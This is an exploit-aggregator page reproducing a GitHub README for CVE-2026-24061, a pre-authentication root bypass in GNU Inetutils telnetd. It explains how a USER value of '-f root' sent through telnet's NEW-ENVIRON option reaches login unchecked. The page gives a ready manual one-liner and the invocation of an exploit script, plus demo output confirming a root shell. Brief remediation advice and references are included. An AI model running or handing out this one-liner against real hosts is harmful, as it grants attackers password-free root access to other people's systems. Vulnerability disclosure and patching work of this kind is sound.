Sploitus

Exploit for Argument Injection in Gnu Inetutils

CVE-2026-24061

githubexploit · 2026-08-09

Exploit Code

README67 lines
## https://sploitus.com/exploit?id=7D1DF8EB-BD0A-5978-86B7-82C6C62394FE
# CVE-2026-24061 — GNU Inetutils telnetd Auth Bypass → Root Shell

**Remote Authentication Bypass in GNU Inetutils telnetd** (1.9.3 – 2.7)
**CVSS 9.8 (Critical)** · **CWE-88 (Argument Injection)** · **Pre-auth RCE**

## TL;DR

`telnetd` builds its login command line as:

```
/bin/login -p -h %h %?u{-f %u}{%U}
```

The `%u` is the **USER environment variable** received via the telnet
**NEW-ENVIRON (RFC 1572)** subnegotiation. It is passed **unvalidated** to
`login(1)`'s `-f` flag — so an unauthenticated remote attacker sends
`USER=-f root` and telnetd invokes `login -f root`, dropping the attacker
straight into a **root shell with no password**.

## Exploit

```bash
python3 CVE-2026-24061.py  [port]

# Or manual one-liner (works on Linux/macOS):
USER="-f root" telnet -a  
```

### Demo (telnetd 2.5 — vulhub/inetutils)

```
$ python3 CVE-2026-24061.py 127.0.0.1 2323
[+] Hedef: 127.0.0.1:2323
[*] telnet -a başlatılıyor (USER=-f root)...
...
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug  9 16:20:30 UTC 2026 from 172.17.0.1 on pts/0
---
[+] ROOT SHELL DOĞRULANDI — CVE-2026-24061 EXPLOITABLE
```

## Affected / Fixed

| Component | Version | Status |
|---|---|---|
| GNU Inetutils telnetd | 1.9.3 – 2.7 | ❌ Vulnerable |
| GNU Inetutils telnetd | > 2.7 | âś… Fixed |

## Remediation

- Upgrade GNU Inetutils beyond 2.7, or
- **Disable telnet entirely** — use SSH.

## References

- [NVD — CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
- [oss-security discussion](https://www.openwall.com/lists/oss-security/2026/01/20/2)
- [inetutils commit (fix)](https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- [bug-inetutils mailing list](https://lists.gnu.org/archive/html/bug-inetutils/2026-01/msg00004.html)
- [vulhub vulnerable environment](https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061)

## Disclaimer

For authorized security testing and educational purposes only. You are
responsible for your own actions.